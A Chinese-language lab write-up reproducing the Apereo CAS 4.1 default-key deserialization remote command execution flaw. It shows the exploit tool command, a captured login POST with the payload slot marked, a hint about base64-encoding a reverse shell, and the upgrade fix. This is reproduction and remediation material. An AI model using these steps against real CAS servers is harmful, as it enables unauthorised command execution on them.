简介
参考链接:
- 项目地址:https://github.com/apereo/cas
- 官网:https://apereo.github.io/cas/6.4.x/index.html
- 简介:http://www.idataviz.com/doc/integration/cas_intro.html
CAS 全称是Central Authentication Service(中心认证服务),它是一个单点登录(Single-Sign-On)协议,Apereo CAS是实现该协议的软件包,且Apereo CAS是目前Java服务器环境下使用最为广泛的单点登录系统。
Apereo CAS 4.1 反序列化命令执行漏洞
参考链接:
- https://github.com/vulhub/vulhub/blob/master/apereo-cas/4.1-rce/README.zh-cn.md
- https://github.com/vulhub/Apereo-CAS-Attack/releases
Apereo CAS 在4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
漏洞影响版本:
- version < 4.1.7
漏洞复现
启动环境,访问http://your-ip:8080/cas/login
即可查看到登录页面。
我们可以使用Apereo-CAS-Attack来复现该漏洞,该工具需要与ysoserial配合使用,使用ysoserial的CommonsCollections4生成加密后的Payload:
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"
多次生成你会发现生成的内容并不一样,但是没有关系。然后我们在login页面进行登录并抓包,用户名和密码随意填写,将body中的execution
值替换成上面的payload:
POST /cas/login HTTP/1.1
Host: 139.198.172.202:8080
Content-Length: 2305
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.198.172.202:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://139.198.172.202:8080/cas/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=C70B7AA2F917AFEC6D4504EAEAAF06FB; wp-settings-time-1=1626831956
Connection: close
username=test&password=test<=LT-6-6rO5h3ba6wNhaP551NCKziUKyVgJhD-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN
使用docker exec -it <容器ID> /bin/bash
进入容器,在/tmp
目录下创建了success
文件。
反弹shell,可以使用base64对反弹shell语句进行编码。
http://www.jackson-t.ca/runtime-exec-payloads.html
漏洞修复
这个漏洞的时间比较早了(16年),现在(21年10月13日)最先的版本是6.4.1
,升级到没有漏洞的版本即可。